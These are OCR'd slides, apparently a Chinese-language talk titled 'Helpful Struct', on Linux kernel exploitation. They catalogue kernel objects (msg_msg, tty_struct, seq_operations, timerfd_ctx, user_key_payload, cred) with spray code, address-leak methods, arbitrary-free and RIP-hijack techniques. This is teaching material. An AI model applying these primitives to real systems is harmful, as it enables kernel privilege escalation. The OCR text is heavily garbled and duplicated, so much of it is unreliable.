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Helpful Struct

> BEYE

@ Kernel Exploit C{E % D 1SR EE

@ Kernel Exploit FBZI 845§ 448

@ kernel exploit BRI {K — —spray&victim



https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#msg_msg-user-supplied-data
https://www.cnblogs.com/helica/p/12572931.html
https://bsauce.github.io/2021/09/26/kernel-exploit-%E6%9C%89%E7%94%A8%E7%9A%84%E7%BB%93%E6%9E%84%E4%BD%93/

Helpful Struct

shm file data

> A/\ 1 0x20 (kmalloc-32)
» FROM : GFP_KERNEL

» ADDRESS

@ file - heap address

@ ns - kernel address

struct shm file data (
int id;
struct ipc _namespace *ns;
struct file *file;

const struct vm operations struct

*Vm_ops;




Helpful Struct

shm file data

» shmget - X5 System V shared memory segment B3 ID

» shmat - attache ¥f& ID BY System V shared memory segment



Helpful Struct

shm_file_data - shmget

» shmget - X5 System V shared memory segment B3 ID

@ |IPC_CREAT - EII—1EFheY

shmid [index] = shmget (IPC_PRIVATE, PAGE_SIZE, IPC_CREAT | 0600);
if (shmidlindex! < 0)
perror_exit("shmget");



Helpful Struct

shm file data - shmat

P

» shmat - attache ¥f& ID BY System V shared memory segment

@ ZEVEIRFB(ELERR= » shm file data RE shm ZEITEARFETILaY 45 +E

shmaddr[index] = (void *)shmat(shmid|[index], NULL, SHM_RDONLY) ;
if (shmaddrlindex! < 0)
perror_exit("shmat");



Helpful Struct

shm file data - shmat

+ SYSCALL_DEFINE3(shmat, int, shmid, char __user %, shmaddr, int, shmflg)
{

unsigned long ret;
long err;

err = do_shmat(shmid, shmaddr, shmflg, &ret, SHMLBA);
if (err)
return err;
force_successful_syscall_return();
return (long)ret;

long do_shmat(int shmid, char __user xshmaddr, int shmflg,
ulong xraddr, unsigned long shmlba)

sfd = kzalloc(sizeof(ksfd), GFP_KERNEL);
sfd—>id = shp->shm_perm. id;

sfd—>ns = get_ipc_ns(ns);

sfd—>file = base;

sfd->vm_ops = NULL;

file->private_data = sfd;



Helpful Struct

shm file data

p {FFH A IL1 : leak kernel address

@ ns A current->nsproxy->ipc_ns > —A%IgEIMUFY kernel B3 init_ipc_ns

® R EEFH namespace (CLONE_NEWIPC) FiAEH

struct ipc_namespace init_ipc_ns = {
.ns.count = REFCOUNT INIT(1),
.user_ns = &init_user_ns,
.ns.inum = PROC_IPC _INIT INO,

#ifdef CONFIG IPC NS
ns.ops

#endif

|



Helpful Struct

seqg_operations
> A/J\ ¢ 0x20 (kmalloc-cg-32)
» FROM : GFP_KERNEL_ACCOUNT

» ADDRESS

struct seq operations {

@ start, stop, next, show - kernel address void (vstop (struce seq fils *m, void wvys

void * (*next) (struct seq file *m, void *v, loff t *pos);
int (*show) (struct seq file *m, void *v);

10



Helpful Struct

seqg_operations

|

> oiic - FEX /proc/self/stat

> REDX - BER

void alloc_seq_ops(int index)

{
seq_ops[index] = open("/proc/self/stat", O _RDONLY);
if (seq_ops!lindex] < 0)
perror_exit("open /proc/self/stat");
I

void free_seq_ops(int index)
{
close(seq_ops | index]);

}

11



Helpful Struct

seqg_operations

|
.

static const struct proc_ops stat_proc_ops
.proc_flags = PROC_ENTRY_PERMANENT,
.proc_open = stat_open,
.proc_read_iter = seq_read_iter,
.proc_lseek = seq_lseek,
.proc_release = single_release,

static int stat_open(struct inode xinode, struct file xfile)

{
unsigned int size = 1024 + 128 x num_online_cpus();
minimum size to display an interrupt count : 2 bytes
size += 2 % nr_irqs;
return single_open_size(file, show_stat, NULL, size);
}

12



Helpful Struct

seqg_operations

|
|

c—IREC

iz © FRF

2 %38 kvmalloc 5

i A E R

N . . int single_open_size(struct file xfile, int (xshow) (struct seq_file %, void x),
9 %}Jy ,ft Sequentlal flle void *data, size_t size)
{

char xbuf = seq_buf_alloc(size);

L S g
LiTL 190

if (!'buf)
return —ENOMEM;
ret = single open(file, show, data);
if (ret) {
kvfree(buf);
return ret;
s
((struct seq_file x)file->private_data)->buf = buf;
((struct seq_file x)file->private_data)->size = size;
return 0;

13



Helpful Struct

seqg_operations

P %38 kvmalloc Hiic—IR:C
i) Ry =R

N\ . . int single_open_size(struct file xfile, int (xshow) (struct seq_file *, void *),
? ?‘D&n'ﬂ'_’, Sequeﬂtlal flle void xdata, size_t size)
{

%E% == *7?

char xbuf = seq_buf _alloc(size);
int ret;
if (!buf)
return —ENOMEM:
ret = single_open(file, show, data);
1T (ret) 1
kvfree(buf);
return ret,
s
((struct seq_file x)file->private_data)->buf = buf;
((struct seq_file x)file->private_data)->size = size;
return 0;
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Helpful Struct

seqg_operations

P Ei® kvmalloc o —IREC|IEEE » R F

VAN :ZZZ\IQ
HU \ Jgél/\ int single_open(struct file *file, int (kshow) (struct seq_file *, void %),
void *data)

{
struct seq_operations *xop = kmalloc(sizeof(xop), GFP_KERNEL_ACCOUNT);

P %}ngﬁ'ft sequential file Tt Tes==ENOMEN;

if (op) {
, ->start = single_start;
- ARAZD o -
@ JJ @EIFEﬁ op—>next = single_next;

op—>stop = single_stop;
op—>show = show;

@ #)%31E function pointer res = seq_open(file, op};
(struct seq_file x)file->private_data)->private = data;
else
@ #I81E struct seq_file | etreetop;
return res;
}

15



Helpful Struct

seqg_operations

P 548 kvmalloc 2ic—IREC(ERE » FRKIF

221\
EHIJ‘ ‘ ||E/j/\l-|-\>|- int single_open(struct file xfile, int (xshow) (struct seq_file %, void x),

void xdata)

{
struct seq_operations *xop = kmalloc(sizeof(xop), GFP_KERNEL_ACCOUNT);

 #51E sequential file int res = —ENOMEM;

if (op) {
7\ op—>start = single_start;
@BIFEﬂ op—>next = single_next;
op—>stop = single_stop;
op—>show = show;

L i i res ="Se(_openiriie, op/;
@ #)181L function pointer e P
(struct seq_file x)file->private_data)->private = data;
else
@ #I81E struct seq_file | kfeeeton)
return res;
}
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Helpful Struct

seqg_operations

b %8 kvmalloc DHECc—IRECIERE °» FIZKRTZ
EHIJ |I:|:I| E/J //z;-l_(ll- int single_open(struct file xfile, int (xshow) (struct seq_file %, void x),

void xdata)

{
struct seq_operations *xop = kmalloc(sizeof(xop), GFP_KERNEL_ACCOUNT);

 #51E sequential file int res = —ENOMEM;

if (op) {
7\ op—>start = single_start;
@BIFEﬂ op—>next = single_next;

op—>stop = single_stop;
op—>show = show;

@ #)%31E function pointer res = seq_open(file, op};
(struct seq_file x)file->private_data)->private = data;
eLse
@ #JU81L struct seq_file i
return res;
}

17



Helpful Struct

seqg_operations

p {FFH A IL1 : leak kernel address

@ [U{@E function pointer &g kernel text

void xsingle_start(struct seq_file *p, loff_t *pos)

{
return xpos ? NULL : SEQ_START_TOKEN;
}
static void *single_next(struct seq_file *p, void xv, loff_t xpos)
{
++%pOS ;
return NULL;
}
static void single_stop(struct seq_file xp, void *v)
{
}

18



Helpful Struct

msg_msg
struct msg_msg {. |
> K/ : 0x30 (kmalloc-cg-48) ~ struct list_head m_list;
0x1000 (kmalloc-cg-4096) e tmts
void *security;
% Ell] Ox30 %KE_H:%E: header ; /* the actual message fol

» FROM : GFP_KERNEL_ACCOUNT

» ADDRESS : Controllable data

(0x0 ~ 0xfdO)
@ next, m_list - heap address

19



Helpful Struct

msg_msg

2 msgget - BX1F message queue ID

» msgsnd - [a] message queue {HiXE R

2 msgrcv - {i£ message queue FWE R}

20



Helpful Struct

Msg_msg - msgget

2 msgget - E\YS message queue ID

@ REEEIIWENF queue ID FLEf

P msgsnd - [a] message queue {BiEE

P msgrcv - {it message queue ZWNER

21

msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
if (msqid == -1)
perror_exit("msgget");



Helpful Struct
msg_msg - msgsnd

=]

P msgget - Y45 message queue ID

» msgsnd - [@ message queue HXE 1)

@ 1HA mtype IEER] > type value ILFi2

RN\
I

P msgrev - it message queue IEUNE

\

BE

22

struct msgbuf {

long mtype; message type, must be > 0
char mtext|[1]; message data
+ msgbuf;

ret = msgsnd(msqid, &msgbuf, size, 0);



Helpful Struct
msg_msg - msgsnd

SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf _ user %, msgp, size_t, msgsz,
int, msgflg)
{
return ksys_msgsnd(msqid, msgp, msgsz, msgflg);

long ksys_msgsnd(int msqid, struct msgbuf __user xmsgp, size_t msgsz,
int msgflg)

{
long mtype;
if (get_user(mtype, &msgp->mtype))
return —-EFAULT;
return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
¥

static long do_msgsnd(int msqid, long mtype, void __user sxmtext,
size_t msgsz, int msgflg)
{
struct msg_queue *xmsq;
struct msg_msg *xmsg;

msg = load_msg(mtext, msgsz);
if (IS_ERR(msg))

return PTR_ERR(msg); H%-ﬁ)‘lﬁl.j(lj \ﬁ%ﬁ& msg_msg.m_ts

msg->m_type = mtype;
msg—>m_ts = msgsz,;

23



I struct msg_msg xload_msg(const void __user *src, size_t len)

{

msg_msg - msgsnd struct msg_msg *msg;

struct msg_msgseg *seqg;
int err = -EFAULT;

size_t alen;

AN
? 7 Hc msg
msg = alloc_msg(len);
if (msg == NULL)

Z H%"fﬁﬁ% %%*SH:J?E\ZE% DATALEN_MSG return ERR_PTR(-ENOMEM) ;

alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))

b %g%%i%;‘l’:sl-éu msg bUﬁer goto out_err;

for (seg = msg—>next; seg != NULL; seg = seg—>next) {
len —= alen;
src = (char __user x)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;

err = security_msg_msg_alloc(msqg);
if (err)
goto out_err;

return msg;

24



Helpful Struct

msg_msg - msgsnd

)

D

P 7

&

fit msg

it msg_msg > %%l PAGE_SIZE

> DATALEN_MSG = PAGE_SIZE - sizeof(struct msg_msQ)

t:U
L]

-4

T FRYE R msg_msgseg » thEERZ—1

{E R

ZEBRIRZEZ DATALEN MSG

=2l msg buffer

25

PAGE

static struct msg_msg *xalloc_msg(size_t len)
{

struct msg_msg *msg;

struct msg_msgseg *xkpseg;

size t alen;

alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)

return NULL;

msg—>next = NULL;
msg—->security = NULL;

len —= alen;
pseg = &msg—>next;
while (len > 0) {
struct msg_msgseqg *seq;

cond_resched();

alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(xseg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseqg = seg;
seg—>next = NULL;
pseg = &seg—>next;
len —= alen;
}

return msg;
out_err:

free_msg(msg);
return NULL;



Helpful Struct

msg_msg - msgsnd

)

P i

b 18"

fit msg

oiic msg_msg > 5% Zl PAGE_SIZE

> DATALEN_MSG = PAGE_SIZE - sizeof(struct msg_msg)

L

Rl FRIERIFREL msg_msgseg » thE2E5Z—

ZEBRIRZEZ DATALEN MSG

13| msg buffer

{

26

PAGE

static struct msg_msg *xalloc_msg(size_t len)
{

struct msg_msg *msg;

struct msg_msgseg *xkpsegq;

size t alen;

alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(xmsg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)

return NULL;

msg—>next = NULL;
msg->security = NULL;

len —= alen;
pseq = &msg—>next;
while (len > 0) {
struct msg_msgseg *seq;

cond_resched();

alen = min(len, DATALEN_SEG)
seg = kmalloc(sizeof(xseg) + alen, GFP_KERNEL_ACCOUNT) ;
if (seg == NULL)
goto out_err;
*kpseg = seg;
seg—>next = NULL;
pseg = &seg—>next;
len —= alen;
}

return msg;
out_err:

free_msg(msg);
return NULL;



Helpful Struct

msg_msg - msgsnd

struct msg_msg {. _ struct msg msgseg { struct msg msgseg ({
struct list head m list; struct msg_msgseg *next; struct msg msgseg *next;
long m_type; /* the next part of the n /* the next part of the
size t m ts; / . }s
struct msg msgseg *next;
void *security;
/* the actual message fol

Controllable data

(...)

Controllable data

Controllable data (Oxff8)
(0xfdO)

27



struct msg_msg xload_msg(const void __user *src, size_t len)

Helpful Struct

msg_msg - msgsnd struct msg_msg *msg;

struct msg_msgseg *xseq;
int err = —-EFAULT;

? ﬁ\ﬂa msg size t alen;

msg = alloc_msg(len);
if (msg == NULL)

> iFERABBERHTRKZEZ DATALEN_MSG

alen = min(len, DATALEN_MSG);
1t (copy_from_user(imsg + 1, src, alen))

P ?“E%\%:w;'l{il':zéu MSQg buffer goto out_err;

for (seg = msg—>next; seg != NULL; seg = seg—>next) {
len —= alen;
src = (char user x)src + alen;
alen = min(len, DATALEN_SEG);
1t (copy_from_user(seg + 1, src, alen)
goto out_err;

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

28



struct msg_msg xload_msg(const void __user *src, size_t len)

Helpful Struct

msg_msg - msgsnd struct msg_msg *msg;

struct msg_msgseg *seqg;
int err = —-EFAULT;

p ﬁ\@ﬂ msg size_t alen;

msg = alloc_msg(len);
if (msg == NULL)

P H%—{ﬁﬁ% %%*SH:J?EE:?:% DATALEN_MSG return ERR_PTR(-ENOMEM) ;

alen = min(len, DATALEN MSG);
if (copy_from_user(msg + 1, src, alen))

P ?g%ié*ilzﬁtu MSg buffer goto out_err;

for (seg = msg—>next; seg != NULL; seg = seg—>next) {
len —= alen;
src = (char __user x)src + alen;

alen = min(len, DATALEN SEG);
if (copy_from_user(seg + 1, src, alen)
goto out_err;

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

29



Helpful Struct

MSJyg_IMsg - MSJgrcv

P

P

2 msgrcv - {i£ message queue FWE R}

@ MSG_NOERROR - msg #IR AR size FLHIE truncate £

@ **MSG_COPY** - duplicate —9 msg » [RAH msg A=K IEN

@ IPC_NOWAIT - queue ;& msg 75 O3

ret = msgrcv|(msqid, msg, size, msgtyp, MSG_NOERROR |[JIPC_NOWAIT);
if (ret == -1)
perror_exit("msgrcv");

30



Helpful Struct
MSsg_msg - msgrcyv

SYSCALL_DEFINE5(msgrcv, int, msqid, struct msgbuf _ _user %, msgp, size_t, msgsz,
long, msgtyp, int, msgflg)
{

return ksys_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);

long ksys_msgrcv(int msqid, struct msgbuf __user xmsgp, size_t msgsz,
long msgtyp, int msgflg)

return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);

static long do_msg_fill(void __user xdest, struct msg_msg *msg, size_t bufsz)

{
struct msgbuf _ _user xmsgp = dest;
size_t msgsz;
if (put_user(msg->m_type, &msgp->mtype))
return -EFAULT;
msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
if (store_msg(msgp—>mtext, msg, msgsz))
return -EFAULT;
return msgsz;
}

31



Helpful Struct

msg_msg - msgrcv

> wWEEE{E msg (msg_msg AKX msg_msgseq)

int store_msg(void __ user xdest, struct msg_msg xmsg, size_t len)

p B ERIZ user buffer {

size t alen;
struct msg_msgseg *seg;

alen = min(len, DATALEN_MSG);
if (copy_to_user(dest, msg + 1, alen))

return -1;

for (seg = msg—>next; seg !'= NULL; seg = seg—>next) {
Llen —= alen;
dest = (char user x)dest + alen;

alen = min(len, DATALEN_SEG);
if (copy_to_user(dest, seg + 1, alen)
return -1;

}

return 0;

32



Helpful Struct

msg_msg - msgrcv

b EFEE(E msg (msg_msg LAK msg_msgseq)

int store_msg(void __user xdest, struct msg_msg xmsg, size_t len)

b EHEFRZE user buffer {

S

size t alen;
struct msg_msgseg *xseq;

alen = min(len, DATALEN MSG):
if (copy_to_user(dest, msg + 1, alen))

return -1;

for (seg = msg—>next; seqg '= NULL; seg = seg—>next) {
len —= alen;
dest = (char user x)dest + alen;

alen = min(len. DATALEN SEG):
if (copy_to_user(dest, seg + 1, alen)
return -1;

}

return 0;

33



Helpful Struct

msg_msg

> {EFAHAHIN1 - leak heap address

e ety

@ 338 msgrev FBERAT » KIN\EFE msg->m_ts » ZEEIEEERNT] leak

static long do_msg_fill(void __user xdest, struct msg_msg *xmsg, size_t bufsz)

{
struct msgbuf _ _user xmsgp = dest;
size_t msgsz;
if (put_user(msg->m_type, &msgp—>mtype))
return -EFAULT;
msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
17 (store_msgi(msgp—>mtext, msg, msgsz))
return -EFAULT; A
return msgsz,; bUfSZ %1%%%'3"]55 s_kklj\
y

34



Helpful Struct

msg_msg

b {EH T2 : arbitrarily free

@ Ex1BEXEN msg B > IEE msg linked list » 25K next pointer A% » Bl ] TS FEN

%4

@ ‘EimE target chunk BYE] 8 bytes (next pointer) 2 NULL » & Bll&= RNEhiEZE

void free_msg(struct msg_msg *xmsg)

{

struct msg_msgseg xseg;
security_msg_msg_free(msg);

seqg = msg—>next;
KTree(msg),
while (seg '= NULL) {
struct msg_msgseg *xtmp = seg->next;

cond _reschedl();
Kfree(seqg);
seg = tmp;

s

35



Helpful Struct

cred
p K/J\: Oxa8

» FROM : cred_jar, GFP_KERNEL

> EAAIV:

@ FBRAEE suid / sgid IRk

@ RBEcEMIRI5 » 57l cross cache attack

struct cred {
atomic_t usage;

#1ifdef CONFIG DEBUG_ CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;

#define CRED_MAGIC 0x43736564

#define CRED MAGIC DEAD 0x44656144

#endif
kuid _t uid; /* real UID of the task */
kgid t gid; /* real GID of the task */
kuid _t suid; /* saved UID of the task */
kgid t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel cap t cap _inheritable; /* caps our children can inherit */
kernel cap t cap permitted; /* caps we 're permitted */
kernel_cap t cap _effective; /* caps we can actually use */
kernel cap t cap bset; /* capability bounding set */
kernel cap t cap_ambient; /* Ambient capability set */

36



struct timerfd ctx {
union {

struct hrtimer tmr;
Helpful Struct i — 1
ot
timerfd_ctx — 4
— ktime t moffs;
wait queue head t wqgh;
u6d ticks;

> K/J\ i 0xd8 (kmalloc-256)

short unsigned expired;

short unsigned settime_ flags;
struct rcu _head rcu;

9 FROM . GFP_KERNEL struct list head clist;

spinlock t cancel lock;
bool might cancel;

» ADDRESS

struct hrtimer {

» . struct timerqueue_node node;
@ {tmr,alarmj}.function - kernel address ——— BRI, |
enum hrtimer_restart (xfunction) (struct hrtimer x);
struct hrtimer_clock_base xbase;
| ud state;
@ base - CPU address u8 is_rel;
us8 is_soft;
us8 is_hard;

struct alarm {
struct timerqueue_node node;
struct hrtimer timer;
enum alarmtimer_restart (xfunction)(struct alarm %, ktime_t now);
enum alarmtimer_type type;
int state;
void *kdata;

37



Helpful Struct

timerfd ctx

P timerfd_create - creates a new timer object

P timerfd_settime - arms (starts) or disarms (stops) the timer

38



Helpful Struct

timerfd ctx - timerfd create

P timerfd_create - creates a new timer object

—t— o

@ clockid {8 CLOCK REALTIME » :Z timerfd_ctx {&8 hrtimer &51&

int tfd = timerfd create(CLOCK REALTIME, 0);

39



Helpful Struct

timerfd ctx - timerfd create

> D ECAGTE

|

B #9815 hrtimer

SYSCALL_DEFINE2(timerfd_create, int, clockid, int, flags)

{
int ufd;
struct timerfd_ctx xctx;

ctx = kzalloc(sizeof(xctx), GFP_KERNEL):;
if ('ctx)
return —-ENOMEM;

else
hrtimer init(&ctx—>t.tmr, clockid, HRTIMER_MODE_ABS);

40



Helpful Struct

timerfd ctx - timerfd create

b o lcAatE

2 #9815 hrtimer

SYSCALL_DEFINE2(timerfd_create, int, clockid, int, flags)
{

@ IEIFERAZHRME function int ufd;

struct timerfd_ctx xctx;

ctx = kzalloc(sizeof(xctx), GFP_KERNEL):;
if ('ctx)
return —-ENOMEM;

else
hrtimer init(&ctx—>t.tmr, clockid, HRTIMER_MODE_ABS);

timer—>1is_soft = softtimer;

timer—>is_hard = !!(mode & HRTIMER_MODE_HARD) ;
timer—>base = &cpu_base->clock_base[basel;

41



Helpful Struct

timerfd ctx - timerfd settime

P

P timerfd_settime - arms (starts) or disarms (stops) the timer

@ % B timer IS

struct 1timerspec 1its;
its.it_interval.tv_sec = 0;
its.1it_interval.tv_nsec = 0;
its.it_value.tv_sec = 10;

its.1it value.tv_nsec = 0;

timerfd settime(tfd, 0, &its, 0);

42



Helpful Struct

timerfd ctx - timerfd settime

SYSCALL_DEFINE4(timerfd_settime, int, ufd, int, flags,
const struct __kernel_itimerspec __user %, utmr,
struct __kernel_itimerspec __user x, otmr)

struct itimerspec64 new, old;
int ret;

if (get_itimerspec64(&new, utmr))
return —-EFAULT;
ret = do_timerfd_settime(ufd, flags, &new, &old);

if (ret)

static int do_timerfd_settime(int ufd, int flags,
const struct itimerspec64 xnew,
struct itimerspec64 xold)

ret = timerfd_setup(ctx, flags, new);
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Helpful Struct

timerfd ctx - timerfd settime

> BIX#)EME > i H assign function pointer £
tlmerfd_tmrprOC El’\]'ﬁ‘z:tﬂ: static int timerfd_setup(struct timerfd_ctx xctx, int flags,

const struct itimerspec64 xktmr)

{

P FHISFHIT timer

} else {
hrtimer init(&ctx->t.tmr, clockid, htmode);
hrtimer_set_expires(&ctx—>t.tmr, texp);
ctx—>t.tmr.function = timerfd_tmrproc;

}
if (texp !'= 0) {
} else {
hrtimer_start(&ctx—>t.tmr, texp, htmode);

}
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Helpful Struct

timerfd ctx - timerfd settime

b BIX¥ia{t » i H assign function pointer &
t|merfd tmrprOC E/J1_Li_lj: static int timerfd_setup(struct timerfd_ctx xctx, int flags,

const struct itimerspec64 xktmr)
> FIBHIT timer

{

} else {
hrtimer_init(&ctx—>t.tmr, clockid, htmode);
hrtimer_set_expires(&ctx—>t.tmr, texp);
ctx—>t.tmr.function = timerfd_tmrproc;

s
if (texp !'= 0) {
} else {
hrtimer_start(&ctx—>t.tmr, texp, htmode);

}
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Helpful Struct

timerfd ctx

p {FFH A IL1 : leak kernel address

@ Function pointer 5[0 timerfd_tmrproc

static enum hrtimer_restart timerfd_tmrproc(struct hrtimer xhtmr)

{
struct timerfd_ctx *kctx = container_of(htmr, struct timerfd ctx,
t.tmr);
timerfd_triggered(ctx);
return HRTIMER_NORESTART;
}
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Helpful Struct

timerfd ctx

2 {EFFH A2 : leak CPU address

@ hrtimer_bases 2 per-cpu 25 » T timer B9 base pointer 15[E: %4510 clock_base

static void _ hrtimer_init(struct hrtimer xtimer, clockid t clock id,
enum hrtimer_mode mode)

{

cpu_base = raw_cpu_ptr(&rtimer_bases);

base = softtimer ? HRTIMER_MAX CLOCK _BASES / 2 : 0;
base += hrtimer_clockid _to_base(clock_id);
timer->base = &cpu_base—>clock_base[base];
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Helpful Struct

timerfd ctx

> {FHF .3 : control RIP

@ UWNERAES hijack function pointer » F A LATE timer ZIERRFIZH] RIP

@ {BiE{E function £ interrupt context #&IENY » F itk

@ THEZ2 kylebot blog HIz78A

| first attempted approach 1 and could easily get to ROP. However, the exploit is far from over. The

issue here is that this function i called within interrupt contexts,|which means, when we get to ROP,

the kernel’s execution is not associated with any task. Thus, we can’t directly return back to

userspace. Worse still,|there is no known way to end the execution gracefully] | tried do_task _dead to

end the execution, but it is not a task, the kernel will not be happy about killing a non-task and

trigger a BUG() , then crash.
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Helpful Struct

tty struct

? j(/J\ : OX2b8 (kma”OC'Cg'1024) struct tty_struct {
struct kref kref;
» FROM : GFP_KERNEL_ACCOUNT R e

struct tty_driver xdriver;
const struct tty_operations *ops;

4 ADDRESS : int index;

int closing;

unsigned char xwrite_buf;
int write_cnt;

struct work struct SAK work;
struct tty_port xport;
randomize_layout;

@ ops - kernel address

@ struct mutex - heap address
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Helpful Struct

tty struct

> ofC - FERY /dev/ptmx

> REDX - BER

|

void alloc_tty(int index)

{
ptmx [index] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (ptmx|index] < 0)
perror_exit("open /dev/ptmx");

}

void free_tty(int index)

{

close(ptmx|[index]);

}
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Helpful Struct

tty struct

> o file_private 45%&

P

P
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Helpful Struct

tty struct

int tty_alloc_file(struct file xfile)

> DBE file_private 458 {
struct tty_file_private *priv;
@ FROM : GFP KERNEL priv = kmalloc(sizeof(*priv), GFP_KERNEL);

if (!'priv)
return —-ENOMEM;

@ K/N\A 0x20 » FRE tty 5@ tty_struct

file->private_data = priv;

9 %)JQA{t tty return 0,

b #{F%l private data

struct tty_file_private {
struct tty_struct xtty;
struct file xfile;
struct list _head list;

&
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Helpful Struct

tty struct

b o file_private 4518

> #)1a1E tty

inode *xinode file *xfilp

b 7 {FZl private data
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Helpful Struct

tty_StrUCt struct tty_struct xtty_init_dev(struct tty_driver xdriver, int idx)

{
struct tty_struct xtty;

int retval;

b ofic file_private 4518

tty = alloc_tty_struct(driver, idx);

? %)Jyé'ft tty if (I!’Z:z;l{= —ENOMEM;

goto err_module_put;

@ = F#JIR1E function table pointer

struct tty_struct xalloc_tty_struct(struct tty_driver xdriver, int idx)

b {#17% private data {

struct tty_struct xtty;

tty = kzalloc(sizeof (xtty), GFP_KERNEL_ACCOUNT);
if ('tty)
return NULL;

kref_init (&tty—>kref);

tty->driver = driver;
tty->ops = driver—->ops;
TUY“FinGCR ="1aX;

tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);

return tty;
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Helpful Struct

tty struct

@E f||e p”Vate I:I* inode *xinode file *xfilp

b #)ia1E tty

> {#{%%l private data

@ HR{FIIGSEKEME

void tty_add_file(struct tty_struct xtty, struct file xfile)
{

struct tty_file_private xpriv = file->private_data;

priv->tty = tty;
priv—>file = file;
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Helpful Struct

tty struct

p {1 : leak kernel address

=]

@ Driver A& ptm_driver > M{E

189 operation A& ptm_unix98_ops
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Helpful Struct

tty struct

> {F£H T2 : control RIP, do arbitrarily read/write

@ 1&i& tty_operations Mli3%Hl ioctl handler pointer » {15 tty BEIE R EEZ T » BoS ioctl FYRJIES
HHENESER

s aar

2 mov rax, [rdx];

3 | ret;

) ; aaw

6 mov [rdx], ecx;

/7 ret;
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Helpful Struct

user_key payload
> A/ : 0x18 ~ (0x18 + 0x7fff)

T L struct user key payload ({
@ HIJ OXSO %KEJJ:I header struct rcu_head rcu; /* RCU destructor */

unsigned short datalen; /* length of this dat
char data[] _ aligned(___alignof (u64)); .

» FROM : GFP_KERNEL

F

» ADDRESS

~

11N

Controllable data
(0x0 ~ Ox7fff)

58



Helpful Struct

user_key payload

» add_key - add a key to the kernel's key management facility

P keyctl_read - read a key
P keyctl_revoke - marks a key as being revoked

2 keyctl_unlink - unlink a key to/from a keyring
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Helpful Struct

user_key payload - add_key

P add_key - add a key to the kernel's key management facility

@ Key desc #fEARA—1x
P keyctl_read - read a key

P keyctl_revoke - marks a key as being revoked

int alloc_key(int index, char xpayload, int size)

{
char desc[32] = { 0 };

P keyctl_unlink - unlink a key to/from a keyring i Loy

assert(size >= 0x18);

size —= sizeof(struct user_key_payload);
sprintf(desc, "pay%d", index);

key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);
if (key == -1)

perror_exit("add_key");

return key;
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Helpful Struct

user_key payload - add_key

» add_key - add a key to the kernel's key management facility

SYSCALL_DEFINE5(add_key, const char __user %, _type,
2 Eeh const char __user %, _description,
,@d%ﬁ‘l; payload const void __user %, _payload,
size_t, plen,
key_serial_t, ringid)

@ Fooific—IREC

@ MERIERE key type #5 KGRI handler FRIE {

if (plen > 1024 x 1024 - 1)

goto error;
@ =ER payload if (plen) 4
payload = kvmalloc(plen, GFP_KERNEL);
4 keycﬂ_read - read a key if (copy_from_user(payload, _payload, plen) != 0
goto error3;
s
? kGYCtl_reVOke o markS a key aS belng reVOked key;.r(.af = key_create_or_update(keyring_ref, type, description,

payload, plen, KEY_PERM_UNDEF,
KEY_ALLOC_IN_QUOTA);

P keyctl_unlink - unlink a key to/from a keyring

kvfree_sensitive(payload, plen);
| return ret;
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Helpful Struct

user_key payload - add_key

» add_key - add a key to the kernel's key management facility

SYSCALL_DEFINE5(add_key, const char __user %, _type,
=L [ const char __user %, _description,
1@\%.@7? payload const void __user %, _payload,

size_t, plen,
key_serial_t, ringid)

@ Fooific—IREC

@ MBRIERE key type #5AREHY handler FRIE {

if (plen > 1024 x 1024 - 1)

goto error;
% %EEQ payload if E;Jien) {
payload = kvmalloc(plen, GFP_KERNEL) ;
P keyctl_read - read a key if (copy_from_user(payload, _payload, plen) != @
goto error3;
s
? kGYCtl_reVOke . markS a key aS belng reVOked key;;’(.ef = key_create_or_update(keyring_ref, type, description,

payload, plen, KEY_PERM_UNDEF,
KEY_ALLOC_IN_QUOTA);

P keyctl_unlink - unlink a key to/from a keyring

kvfree_sensitive(payload, plen);
| return ret;
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Helpful Struct

user_key payload - add_key

P add_key - add a key to the kernel's key management facility

® MEIEIBEARE key type 28 REH handler FEIE

> gu% type ZEE uuser” . Eﬁ’%‘ﬁ@a user_key_payload int MSer_preparse(struct key_preparsed_payload *prep)

struct user_key_payload *xupayload;
size_t datalen = prep->datalen;

P keyctl_read - read a key

if (datalen <= 0 || datalen > 32767 || !prep->data)
return -EINVAL;
? kethl_reVOke - markS a key aS belng reVOked upayload = kmalloc(sizeof (*kupayload) + datalen, GFP_KERNEL);

if (lupayload)
return —-ENOMEM;

P keyctl_unlink - unlink a key to/from a keyring sttach the dato

prep—>quotalen = datalen;
prep—>payload.datal@] = upayload;
upayload—>datalen = datalen;

memcpy (upayload—->data, prep—->data, datalen);
return 0;
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Helpful Struct

user_key payload - read_key

P add_key - add a key to the kernel's key management facility
? keyctl_read - read a key

P keyctl_revoke - marks a key as being revoked

P keyctl_unlink - unlink a key to/from a keyring

char xget_key(int i, int size)
{

char xdata;

data = calloc(1l, size);
keyctl _read(keys|il, data, size);

return data;
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Helpful Struct

user_key payload - read_key
P keyctl_read - read a key

@ syscall keyctl F28{UHR key B ioctl » BEIRIEARERY

